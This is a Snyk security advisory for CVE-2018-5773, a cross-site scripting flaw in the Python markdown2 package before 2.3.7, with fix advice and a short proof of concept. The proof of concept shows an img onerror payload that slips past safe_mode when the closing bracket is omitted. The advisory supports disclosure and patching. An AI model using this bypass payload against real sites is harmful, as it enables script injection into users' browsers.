Cross-site Scripting (XSS) Affecting markdown2 package, versions [,2.3.7)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.06% (30th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Cross-site Scripting (XSS) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-MARKDOWN2-40770
  • published19 Jan 2018
  • disclosed17 Jan 2018
  • creditHunter2.com

Introduced: 17 Jan 2018

CVE-2018-5773  (opens in a new tab)
CWE-79  (opens in a new tab)

How to fix?

Upgrade markdown2 to version 2.3.7 or higher.

Overview

markdown2 is A fast and complete Python implementation of Markdown.

Affected versions of the package are vulnerable to Cross-site Scripting (XSS) attacks via the safe_mode feature, which is supposed to sanitize user input against XSS. With a crafted payload, XSS can be triggered, as demonstrated by omitting the final '>' character from an IMG tag.

PoC by Vineet Kumar

>>> from markdown2 import markdown as mark
>>> mark('<img src="" onerror=alert(/XSS/)>', safe_mode=True)
u'<p>[HTML_REMOVED]</p>\n'
>>> mark('<img src="" onerror=alert(/XSS/) ', safe_mode=True) # Please notice the space at end of string.
u'<p><img src="" onerror=alert(/XSS/) </p>\n'
>>> mark('<img src="" onerror=alert(/XSS/)>', safe_mode="escape")
u'<p>&lt;img src="" onerror=alert(/XSS/)&gt;</p>\n'
>>> mark('<img src="" onerror=alert(/XSS/) ', safe_mode="escape")
u'<p><img src="" onerror=alert(/XSS/) </p>\n'

Details

<>

CVSS Scores

version 3.1